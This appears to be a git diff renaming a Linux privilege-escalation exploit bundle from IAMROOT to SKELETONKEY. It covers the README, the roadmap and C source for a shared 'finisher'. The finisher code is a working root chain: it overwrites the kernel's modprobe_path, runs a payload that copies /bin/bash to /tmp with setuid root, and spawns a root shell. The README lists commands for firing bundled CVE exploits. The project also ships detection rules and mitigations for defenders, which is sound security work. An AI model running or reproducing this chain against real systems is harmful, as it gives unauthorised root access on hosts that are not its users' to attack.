- `--dump-offsets` reads `/proc/kallsyms` + `/boot/System.map` and
|
||||
emits a ready-to-paste C entry for the `--full-chain` offset table
|
||||
|
||||
- `iamroot --scan` — fingerprint the host, report which bundled CVEs
|
||||
apply, and which are blocked by patches/config/LSM
|
||||
- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know`
|
||||
authorization gate)
|
||||
- `iamroot --detect-rules` — dump auditd / sigma / yara rules for
|
||||
every bundled CVE so blue teams can drop them into their tooling
|
||||
- `iamroot --mitigate` — apply temporary mitigations for CVEs the
|
||||
host is vulnerable to (sysctl knobs, module blacklists, etc.)
|
||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||
module-loader design.
|
||||
|
||||
## The verified-vs-claimed bar
|
||||
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets. The shared `--full-chain` finisher only returns
|
||||
`EXPLOIT_OK` after a setuid bash sentinel file *actually appears*;
|
||||
otherwise modules return `EXPLOIT_FAIL` with a diagnostic. Operators
|
||||
populate the offset table once per target kernel via
|
||||
`skeletonkey --dump-offsets` and either set env vars or upstream the
|
||||
entry via PR ([`CONTRIBUTING.md`](CONTRIBUTING.md)).
|
||||
|
||||
## Build from source
|
||||
|
||||
```bash
|
||||
git clone https://github.com/KaraZajac/SKELETONKEY.git
|
||||
cd SKELETONKEY
|
||||
make
|
||||
./skeletonkey --version
|
||||
```
|
||||
|
||||
Builds clean with gcc or clang on any modern Linux. macOS dev builds
|
||||
also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**Active — v0.3.0 cut 2026-05-16.** Corpus covers **24 modules**
|
||||
across the 2016 → 2026 LPE timeline:
|
||||
**v0.6.0 cut 2026-05-23.** 28 verified modules, plus 3
|
||||
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`).
|
||||
All 31 build clean on Debian 13 (kernel 6.12) and refuse cleanly on
|
||||
patched hosts.
|
||||
|
||||
- 🟢 **13 modules land root** end-to-end on a vulnerable host
|
||||
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
|
||||
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
|
||||
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
|
||||
- 🟡 **11 modules fire the kernel primitive** by default and refuse
|
||||
to claim root without empirical confirmation. Pass `--full-chain`
|
||||
to engage the shared `modprobe_path` finisher and attempt root
|
||||
pop — requires kernel offsets via env vars / `/proc/kallsyms` /
|
||||
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
|
||||
Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
|
||||
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
|
||||
nft_payload, nft_set_uaf, stackrot.
|
||||
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
||||
are exported via `iamroot --detect-rules --format=…`.
|
||||
Reliability + accuracy work in v0.6.0:
|
||||
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||
to every module via `ctx->host`. 26 of 27 distinct modules consume it.
|
||||
- **Test harness** (`tests/test_detect.c`, `make test`) — 44 unit
|
||||
tests over mocked host fingerprints; runs as a non-root user in CI.
|
||||
- `--auto` upgrades: auto-enables `--active`, per-detect 15s timeout,
|
||||
fork-isolated detect + exploit so a crashing module can't tear down
|
||||
the dispatcher, structured per-module verdict table, scan summary.
|
||||
- `--dry-run` flag (preview without firing; no `--i-know` needed).
|
||||
- Pinned mainline fix commits for the 3 ported modules — `detect()`
|
||||
is version-pinned, not just precondition-only.
|
||||
|
||||
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
|
||||
Empirical end-to-end validation on a vulnerable-target VM matrix is
|
||||
the next roadmap item; until then, the corpus is best understood as
|
||||
"compiles + detects + structurally correct + honest on failure" —
|
||||
and the three ported modules have not been run against a vulnerable
|
||||
target at all.
|
||||
|
||||
## Why this exists
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||
infrastructure work.
|
||||
|
||||
The Linux kernel privilege-escalation space is fragmented:
|
||||
## Contributing
|
||||
|
||||
- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
|
||||
exploits, don't run them
|
||||
- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
|
||||
stale, no CI, no defensive signatures
|
||||
- **Per-CVE single-PoC repos**: usually one author, often abandoned
|
||||
within months of release, often only one distro
|
||||
|
||||
IAMROOT's bet is that there's room for a single curated bundle that
|
||||
(1) actively maintains a small set of high-quality exploits across a
|
||||
multi-distro matrix, and (2) ships detection rules alongside each
|
||||
exploit so the same project serves both red and blue teams.
|
||||
|
||||
## Architecture
|
||||
|
||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||
Modules export a standard interface: `detect()`, `exploit()`,
|
||||
`mitigate()`, `cleanup()`, plus metadata describing affected kernel
|
||||
ranges, distro coverage, and CI test matrix.
|
||||
|
||||
Shared infrastructure (AppArmor bypass, su-exploitation primitives,
|
||||
fingerprinting, common utilities) lives in `core/`.
|
||||
|
||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||
module-loader design and how to add a new CVE.
|
||||
|
||||
## Build & run
|
||||
|
||||
```bash
|
||||
make # build all modules
|
||||
./iamroot --scan # what's this box vulnerable to? (no sudo)
|
||||
./iamroot --scan --json # machine-readable output for CI/SOC pipelines
|
||||
./iamroot --detect-rules --format=sigma > rules.yml
|
||||
./iamroot --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
|
||||
```
|
||||
PRs welcome for: kernel offsets (run `--dump-offsets` on a target
|
||||
kernel, paste into `core/offsets.c`), new modules, detection rules,
|
||||
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the
|
||||
research credit belongs to the people who found the bugs.
|
||||
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer;
|
||||
the research credit belongs to the people who found the bugs.
|
||||
|
||||
## License
|
||||
|
||||
|
||||
+107
-23
@@ -15,18 +15,18 @@ commitments.
|
||||
|
||||
## Phase 1 — Make the bundling real (DONE 2026-05-16)
|
||||
|
||||
- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module
|
||||
- [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module
|
||||
registry, route to module's detect/exploit
|
||||
- [x] Module interface header (`core/module.h`) — standard
|
||||
`iamroot_module` struct + `iamroot_result_t` (numerically
|
||||
`skeletonkey_module` struct + `skeletonkey_result_t` (numerically
|
||||
aligned with copy_fail_family's `df_result_t` for zero-cost
|
||||
bridging)
|
||||
- [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
|
||||
- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer
|
||||
- [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer
|
||||
exposing 5 modules
|
||||
- [x] Top-level `Makefile` that builds all modules into one binary
|
||||
- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON;
|
||||
`iamroot --list` prints the module inventory
|
||||
- [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON;
|
||||
`skeletonkey --list` prints the module inventory
|
||||
- [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
|
||||
`exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
|
||||
across families). Phase 1 keeps them inside copy_fail_family/src/
|
||||
@@ -35,7 +35,7 @@ commitments.
|
||||
|
||||
## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
|
||||
|
||||
Public PoC, well-understood, useful for completeness — IAMROOT
|
||||
Public PoC, well-understood, useful for completeness — SKELETONKEY
|
||||
without Dirty Pipe is incomplete as a "historical bundle." Affects
|
||||
kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
|
||||
deployments (worth bundling — many production boxes still run
|
||||
@@ -49,7 +49,7 @@ these).
|
||||
branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
|
||||
- [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
|
||||
watches) and `sigma.yml` (non-root modification of sensitive files)
|
||||
- [x] Registered in `iamroot --list` / `--scan` output. Verified on
|
||||
- [x] Registered in `skeletonkey --list` / `--scan` output. Verified on
|
||||
kernel 6.12.86 → correctly reports OK (patched).
|
||||
- [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
|
||||
passwd-UID and page-cache-revert helpers in the module (~80 lines).
|
||||
@@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because:
|
||||
|
||||
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
|
||||
- [x] Exposed as a library helper: other modules can call
|
||||
`entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h)
|
||||
- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed
|
||||
`entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h)
|
||||
- [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed
|
||||
--i-know` produces a kbase leak. Verified on kctf-mgr:
|
||||
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
|
||||
- [x] `entry_SYSCALL_64` slot offset configurable via
|
||||
`IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
|
||||
`SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
|
||||
Future enhancement: auto-detect via /boot/System.map or
|
||||
/proc/kallsyms if accessible.
|
||||
|
||||
@@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because:
|
||||
|
||||
## Phase 5 — Detection signature export (DONE 2026-05-16)
|
||||
|
||||
- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules
|
||||
- [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules
|
||||
across all modules (deduped — family-shared rules emit once)
|
||||
- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules
|
||||
- [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules
|
||||
- [x] `--format=yara` and `--format=falco` flags accepted; per-module
|
||||
strings can be added when authors ship them. Currently no module
|
||||
ships YARA or Falco rules (skipped cleanly).
|
||||
- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`,
|
||||
- [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`,
|
||||
`detect_yara`, `detect_falco` fields — each NULL or pointer to
|
||||
embedded C string. Self-contained binary, no data-dir install needed.
|
||||
- [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
|
||||
|
||||
## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
|
||||
|
||||
- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family
|
||||
- [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family
|
||||
member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
|
||||
`kernel.apparmor_restrict_unprivileged_userns=1`, drops page
|
||||
cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
|
||||
- [x] copy_fail_family: `iamroot --cleanup <name>` routes by visible
|
||||
- [x] copy_fail_family: `skeletonkey --cleanup <name>` routes by visible
|
||||
state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
|
||||
`mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
|
||||
sufficient for common usage patterns.
|
||||
- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd
|
||||
- [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd
|
||||
(already landed in Phase 2 complete).
|
||||
- [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
|
||||
no automated mitigation possible. Document and skip.
|
||||
@@ -164,33 +164,117 @@ Backfill of historical and recent LPEs as time allows.
|
||||
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
|
||||
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
|
||||
|
||||
**Landed since v0.1.0 (in the 28-module verified corpus):**
|
||||
|
||||
- [x] **CVE-2021-3156** — sudo Baron Samedit: 🟡 PRIMITIVE
|
||||
(`sudoedit -s` heap overflow; heap-tuned, may crash sudo).
|
||||
- [x] **CVE-2021-33909** — Sequoia: 🟡 PRIMITIVE (`seq_file` size_t
|
||||
overflow → kernel stack OOB; trigger + witness, no cred chain).
|
||||
- [x] **CVE-2023-22809** — sudoedit EDITOR/VISUAL argv escape: 🟢 FULL
|
||||
structural argv-injection (no kernel state, no offsets).
|
||||
- [x] **CVE-2023-2008** — vmwgfx DRM bo size-validation OOB: 🟡
|
||||
PRIMITIVE (kmalloc-512 OOB + slab witness, no cred chain).
|
||||
|
||||
**Landed (ported from public PoC, pending VM verification — NOT part
|
||||
of the 28-module verified corpus):**
|
||||
|
||||
- [x] **CVE-2026-46300** — Fragnesia: 🟡 XFRM ESP-in-TCP page-cache
|
||||
write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD`
|
||||
stub is retired. The stub's open question ("is the
|
||||
unprivileged-userns-netns scenario in scope?") is resolved —
|
||||
the module ships and reports `PRECOND_FAIL` when the userns gate
|
||||
is closed.
|
||||
- [x] **CVE-2026-31635** — DirtyDecrypt: 🟡 rxgk missing-COW in-place
|
||||
decrypt page-cache write. Ported from the V12 PoC.
|
||||
- [x] **CVE-2026-41651** — Pack2TheRoot: 🟡 PackageKit `InstallFiles`
|
||||
TOCTOU. Ported from the public Vozec PoC; original disclosure by
|
||||
Deutsche Telekom security. Userspace D-Bus LPE with high-
|
||||
confidence `detect()` — reads PackageKit's version directly over
|
||||
D-Bus and compares against the pinned fix release 1.3.5 (commit
|
||||
`76cfb675`). Debian-family only (PoC's built-in `.deb` builder).
|
||||
Adds an optional GLib/GIO build dependency, autodetected via
|
||||
`pkg-config gio-2.0`; stub-compiles if absent.
|
||||
- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot)
|
||||
on a vulnerable target**, pin remaining CVE fix commits, add
|
||||
version-range tables, and promote 🟡 → 🟢. `--auto` auto-enables
|
||||
`--active` so the probes give definitive verdicts; each
|
||||
`detect()` runs in a fork-isolated child so one bad probe
|
||||
cannot tear down the scan.
|
||||
|
||||
**--auto accuracy work (landed 2026-05-22):**
|
||||
|
||||
- [x] `--auto` auto-enables `--active`: per-module sentinel probes
|
||||
run in `/tmp` / fork-isolated namespaces, so version-only
|
||||
checks can no longer be fooled by silent distro backports.
|
||||
- [x] Per-module verdict table at scan time (VULNERABLE / patched /
|
||||
precondition / indeterminate) instead of only printing the
|
||||
`VULNERABLE` rows.
|
||||
- [x] Scan-end summary line counting each verdict class.
|
||||
- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`)
|
||||
printed in the `--auto` banner alongside kernel + arch.
|
||||
- [x] Fork-isolated `detect()` calls — a SIGILL/SIGSEGV in any one
|
||||
module's probe is contained and the scan continues. Surfaced
|
||||
while testing entrybleed's `prefetchnta` sweep under emulated
|
||||
CPUs: exactly the failure mode the isolation now handles.
|
||||
- [x] `--dry-run` flag: previews the picked exploit (or single-module
|
||||
operation) without firing. Works with `--auto`, `--exploit`,
|
||||
`--mitigate`, `--cleanup`. `--auto --dry-run` does NOT require
|
||||
`--i-know` (nothing fires) so operators can inspect the host's
|
||||
attack surface without arming. Bare `--auto` still gates on
|
||||
`--i-know` and now points to `--dry-run` in the refusal message.
|
||||
- [x] Version-pinned `detect()` for the 3 ported modules — Debian
|
||||
tracker provided the fix commits: `dirtydecrypt` against mainline
|
||||
`a2567217` (Linux 7.0); `fragnesia` against 7.0.9; `pack2theroot`
|
||||
against PackageKit 1.3.5. The `kernel_range` model now drives
|
||||
their verdicts; `--active` confirms empirically on top.
|
||||
- [x] **`core/host` host-fingerprint refactor.** A single
|
||||
`struct skeletonkey_host` is populated once at startup and
|
||||
handed to every module via `ctx->host`: kernel version + arch
|
||||
+ distro id/version + capability gates (unprivileged_userns,
|
||||
AppArmor restriction, BPF disabled, KPTI, lockdown, SELinux,
|
||||
Yama ptrace) + service presence (systemd, system D-Bus). The
|
||||
`--auto` / `--scan` banner now prints the fingerprint up front
|
||||
so operators see at a glance which gates are open. 4 modules
|
||||
migrated to consume the fingerprint (dirtydecrypt, fragnesia,
|
||||
pack2theroot, overlayfs) — replacing per-detect `uname`s,
|
||||
`/etc/os-release` parses, and userns fork-probes with O(1)
|
||||
cached lookups. See `docs/ARCHITECTURE.md` for the pattern;
|
||||
future modules can opt-in by including `core/host.h`.
|
||||
- [ ] Migrate the remaining modules (cgroup_release_agent /
|
||||
overlayfs_setuid / copy_fail_family bridge / others) to
|
||||
consume `ctx->host` — incremental follow-up.
|
||||
|
||||
**Carry-overs:**
|
||||
|
||||
- [ ] **CVE-2023-2008** — vmwgfx OOB write
|
||||
- [ ] Fragnesia (if it lands as a CVE)
|
||||
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
|
||||
ships (responsible-disclosure-first)
|
||||
|
||||
## Phase 8 — Full-chain promotions (post v0.1.0)
|
||||
|
||||
The 7 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||
The 14 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||
cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
|
||||
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
|
||||
None requires fresh research — each has a public reference exploit;
|
||||
the work is porting the per-kernel offset dance into a portable
|
||||
shape compatible with IAMROOT's "no-fabricated-offsets" rule (most
|
||||
shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most
|
||||
likely as an env-var override table per distro+kernel, with offset
|
||||
auto-resolve via System.map / kallsyms when accessible).
|
||||
|
||||
Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
|
||||
(Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
|
||||
The other four are lower priority — fuse_legacy and cls_route4 have
|
||||
The remainder are lower priority — fuse_legacy and cls_route4 have
|
||||
narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
|
||||
race window makes it inherently low-yield.
|
||||
race window makes it inherently low-yield; the nft_* family and
|
||||
vmwgfx need their per-kernel offset tables built out.
|
||||
|
||||
The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
|
||||
**not** part of this Phase 8 promotion set — they need VM verification
|
||||
and pinned fix commits first (tracked under Phase 7+ above) before any
|
||||
full-chain work is meaningful.
|
||||
|
||||
## Non-goals
|
||||
|
||||
- **No 0-day shipment.** Everything in IAMROOT is post-patch.
|
||||
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
|
||||
- **No automated mass-targeting.** No host-list mode. No automatic
|
||||
pivoting.
|
||||
- **No persistence beyond `--exploit-backdoor`'s
|
||||
|
||||
+25
-25
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — shared finisher helpers
|
||||
* SKELETONKEY — shared finisher helpers
|
||||
*
|
||||
* See finisher.h for the pattern split (A: modprobe_path overwrite,
|
||||
* B: current->cred->uid).
|
||||
@@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode)
|
||||
return 0;
|
||||
}
|
||||
|
||||
void iamroot_finisher_print_offset_help(const char *module_name)
|
||||
void skeletonkey_finisher_print_offset_help(const char *module_name)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
|
||||
@@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name)
|
||||
" To populate them on this host, choose ONE of:\n"
|
||||
"\n"
|
||||
" 1) Environment override (one-shot, no host changes):\n"
|
||||
" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n"
|
||||
" SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n"
|
||||
"\n"
|
||||
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
|
||||
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
|
||||
@@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name)
|
||||
module_name, module_name);
|
||||
}
|
||||
|
||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell)
|
||||
{
|
||||
if (!iamroot_offsets_have_modprobe_path(off)) {
|
||||
iamroot_finisher_print_offset_help("module");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
if (!skeletonkey_offsets_have_modprobe_path(off)) {
|
||||
skeletonkey_finisher_print_offset_help("module");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!arb_write) {
|
||||
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Per-pid working paths so concurrent runs don't collide. */
|
||||
pid_t pid = getpid();
|
||||
char mp_path[64], trig_path[64], pwn_path[64];
|
||||
snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid);
|
||||
snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
|
||||
snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid);
|
||||
snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid);
|
||||
snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
|
||||
snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid);
|
||||
|
||||
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
|
||||
* know it ran. Bash 4+ refuses to use its own setuid bit by
|
||||
@@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
char payload[1024];
|
||||
snprintf(payload, sizeof payload,
|
||||
"#!/bin/sh\n"
|
||||
"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
|
||||
"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
|
||||
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
|
||||
"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
|
||||
"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
|
||||
pwn_path, pwn_path, pwn_path);
|
||||
|
||||
if (write_file(mp_path, payload, 0755) < 0) {
|
||||
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Unknown-format trigger: anything that fails the standard exec
|
||||
@@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
if (write_file(trig_path, "\x00", 0755) < 0) {
|
||||
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
|
||||
unlink(mp_path);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Build the kernel-side write payload: a NUL-terminated path to
|
||||
@@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
fprintf(stderr, "[-] finisher: arb_write failed\n");
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Fire the trigger by exec'ing the unknown binary. fork() so the
|
||||
@@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
waitpid(cpid, &st, 0);
|
||||
} else {
|
||||
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
|
||||
@@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
have_setuid:
|
||||
if (!spawn_shell) {
|
||||
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
|
||||
fflush(stderr);
|
||||
@@ -161,11 +161,11 @@ have_setuid:
|
||||
execve(pwn_path, argv, NULL);
|
||||
/* Only reached on execve failure. */
|
||||
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell)
|
||||
{
|
||||
@@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
||||
fprintf(stderr,
|
||||
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
|
||||
" the task list from init_task and find current). Modules with\n"
|
||||
" only an arb-write should use iamroot_finisher_modprobe_path()\n"
|
||||
" only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
|
||||
" instead — same root capability, simpler trigger.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
+19
-19
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — shared finisher helpers for full-chain root pops.
|
||||
* SKELETONKEY — shared finisher helpers for full-chain root pops.
|
||||
*
|
||||
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||
* write, slab UAF, etc.). The conversion to root is almost always one
|
||||
@@ -21,11 +21,11 @@
|
||||
* Pattern (B) needs a self-cred chase + multiple writes.
|
||||
*
|
||||
* Modules provide their own arb-write primitive via the
|
||||
* iamroot_arb_write_fn callback; this file wraps the rest.
|
||||
* skeletonkey_arb_write_fn callback; this file wraps the rest.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_FINISHER_H
|
||||
#define IAMROOT_FINISHER_H
|
||||
#ifndef SKELETONKEY_FINISHER_H
|
||||
#define SKELETONKEY_FINISHER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
@@ -35,7 +35,7 @@
|
||||
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
|
||||
* `kaddr`. Module-specific implementation. Returns 0 on success,
|
||||
* negative on failure. `ctx` is opaque module state. */
|
||||
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
||||
typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx);
|
||||
|
||||
@@ -43,22 +43,22 @@ typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
||||
* groomed slab THEN call the trigger. The trigger is a separate fn
|
||||
* because some modules need to re-spray before each write. NULL is
|
||||
* acceptable if the arb-write is self-contained. */
|
||||
typedef int (*iamroot_fire_trigger_fn)(void *ctx);
|
||||
typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
|
||||
|
||||
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
|
||||
* already populated `off->modprobe_path`. Implementation:
|
||||
* 1. Write payload script to /tmp/iamroot-mp-<pid>
|
||||
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
|
||||
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid>
|
||||
* 1. Write payload script to /tmp/skeletonkey-mp-<pid>
|
||||
* 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
|
||||
* 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
|
||||
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
|
||||
* → our payload runs as root → payload writes /tmp/iamroot-pwn
|
||||
* → our payload runs as root → payload writes /tmp/skeletonkey-pwn
|
||||
* and/or copies /bin/bash to /tmp with setuid root
|
||||
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
|
||||
*
|
||||
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
|
||||
